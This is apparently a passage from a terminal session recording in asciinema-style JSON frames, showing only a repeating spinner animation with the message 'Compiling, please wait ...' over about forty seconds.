[37.292274, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[37.392668, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[37.493089, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[37.593508, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[37.693939, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[37.794338, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[37.894747, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[37.995182, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[38.095547, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[38.19594, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[38.296325, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[38.396722, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[38.497121, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[38.597475, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[38.697889, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[38.798141, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[38.898535, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[38.998944, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[39.099317, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[39.199735, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[39.300148, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[39.400493, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[39.500894, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[39.601293, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[39.701696, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[39.802095, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[39.902516, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[40.003755, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[40.103282, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[40.203676, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[40.303955, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[40.404958, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[40.505368, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[40.60649, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[40.706993, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[40.807387, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[40.907774, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[41.008168, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[41.108478, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[41.208875, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[41.309258, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[41.409677, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[41.510096, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[41.610489, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[41.710888, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[41.811325, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[41.911726, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[42.012131, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[42.112481, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[42.212875, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[42.313276, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[42.413665, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[42.514066, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[42.614391, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[42.714777, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[42.815228, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[42.915651, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[43.016032, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[43.116466, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[43.216878, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[43.317272, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[43.417667, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[43.518058, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[43.618461, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[43.71884, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[43.819261, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[43.919661, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[44.020085, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[44.120484, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[44.220902, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[44.3213, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[44.421728, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[44.522145, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[44.622526, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[44.722857, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[44.823297, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[44.923689, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[45.024077, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[45.124487, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[45.224936, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[45.32532, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[45.425692, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[45.5261, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[45.626498, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[45.726911, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[45.827391, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[45.927805, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[46.028214, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[46.128635, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[46.229046, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[46.329463, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[46.429858, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[46.53027, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[46.630681, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[46.731092, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[46.831522, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[46.931935, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[47.032295, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[47.132703, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[47.233096, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[47.333478, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[47.433872, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[47.534277, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[47.634696, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[47.734976, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[47.83539, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[47.935789, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[48.036167, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[48.136501, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[48.236881, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[48.338159, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[48.43858, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[48.538986, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[48.639381, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[48.739785, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[48.840201, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[48.940598, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[49.040979, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[49.141383, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[49.241756, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[49.342167, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[49.44255, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[49.542965, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[49.643411, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[49.743796, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[49.84423, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[49.944591, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[50.045011, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[50.145406, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[50.245799, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[50.346164, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[50.446573, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[50.546962, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[50.647393, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[50.747797, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[50.848123, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[50.948495, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[51.048896, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[51.149297, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[51.249661, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[51.350084, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[51.450496, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[51.550876, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[51.651312, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[51.751699, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[51.852032, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[51.952418, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[52.052739, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[52.153126, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[52.253524, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[52.353929, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[52.454359, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[52.554761, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[52.655262, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[52.755573, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[52.855979, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[52.956372, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[53.05678, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[53.157173, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[53.257583, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[53.357968, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[53.458361, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[53.558745, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[53.659191, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[53.75952, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[53.859914, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[53.960403, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[54.060775, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[54.161121, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[54.261532, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[54.361897, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[54.462303, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[54.562716, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[54.663139, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[54.763504, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[54.863896, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[54.964285, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[55.064681, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[55.165089, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[55.265494, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[55.365925, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[55.466331, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[55.566731, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[55.667182, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[55.767537, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[55.867885, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[55.968287, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[56.068673, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[56.169075, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[56.269472, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[56.369857, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[56.470284, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[56.570677, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[56.671106, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[56.771496, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[56.871914, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[56.972284, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[57.072686, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[57.173101, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[57.273483, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[57.373895, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[57.474262, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[57.574665, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[57.675196, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[57.775552, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[57.875955, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[57.976382, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[58.076781, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[58.177187, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[58.277562, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[58.377958, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[58.478346, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[58.578729, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[58.679195, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[58.779703, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[58.880107, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[58.980492, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[59.08091, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[59.181308, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[59.281725, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[59.382131, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[59.482534, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[59.582941, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[59.683363, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[59.783768, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[59.884168, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[59.984492, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[60.084869, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[60.185265, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[60.285676, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[60.386062, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[60.486465, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[60.586878, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[60.687248, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[60.787638, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[60.888062, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[60.988848, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[61.089144, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[61.189563, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[61.289966, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[61.390352, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[61.490762, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[61.591224, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[61.691578, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[61.79198, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[61.892385, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[61.992773, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[62.093182, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[62.193771, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[62.294179, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[62.394567, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[62.495003, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[62.595489, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[62.695865, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[62.796274, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[62.896676, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[62.996946, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[63.097368, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[63.197753, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[63.298171, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[63.398576, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[63.498954, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[63.599398, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[63.699798, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[63.800104, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[63.900722, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[64.001097, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[64.101507, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[64.201892, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[64.30221, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[64.402601, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[64.50301, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[64.603386, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[64.70372, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[64.804132, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[64.904475, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[65.004787, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[65.105189, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[65.205872, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[65.306125, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[65.406523, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[65.50694, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[65.60738, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[65.707757, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[65.808174, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[65.908508, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[66.008893, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[66.109256, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[66.209656, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[66.310041, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[66.410445, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[66.510851, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[66.611254, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[66.711671, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[66.812075, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[66.912456, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[67.012852, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[67.113259, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[67.213677, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[67.314064, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[67.414464, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[67.514877, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[67.615287, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[67.7156, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[67.816035, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[67.916479, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[68.016867, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[68.117256, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[68.217673, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[68.318074, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[68.418458, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[68.518881, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[68.619309, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[68.719694, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[68.820101, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[68.920492, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[69.021909, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[69.122323, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[69.22276, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[69.323164, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[69.423547, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[69.523865, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[69.624295, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[69.724699, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[69.825103, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[69.925515, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[70.025957, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[70.126349, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[70.226959, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[70.327365, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[70.427754, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[70.528121, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[70.628494, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[70.728901, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[70.829304, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[70.929709, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[71.030115, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[71.13052, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[71.230937, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[71.331377, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[71.431787, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[71.532172, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[71.632484, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[71.732865, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[71.833282, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[71.933713, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[72.034101, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[72.134481, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[72.234968, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[72.335385, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[72.435802, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[72.536205, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[72.636621, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[72.737031, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[72.837414, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[72.937811, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[73.038208, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[73.138645, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[73.239036, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[73.339413, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[73.439815, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[73.540193, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[73.640579, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[73.740986, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[73.841425, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[73.941805, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[74.042193, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[74.14405, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[74.244436, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[74.344812, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[74.445225, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[74.545622, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[74.646031, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[74.74642, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[74.846823, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[74.947239, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[75.047631, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[75.148039, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[75.248461, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[75.348851, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[75.44925, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[75.549652, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[75.650025, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[75.750385, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[75.850777, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[75.951215, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[76.051576, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[76.151976, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[76.252363, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[76.352775, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[76.453189, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[76.553558, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[76.653938, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[76.754343, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[76.854749, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[76.95517, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[77.055531, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[77.155937, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[77.256294, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[77.35668, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[77.45706, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[77.557462, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[77.65787, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[77.75826, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[77.858666, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
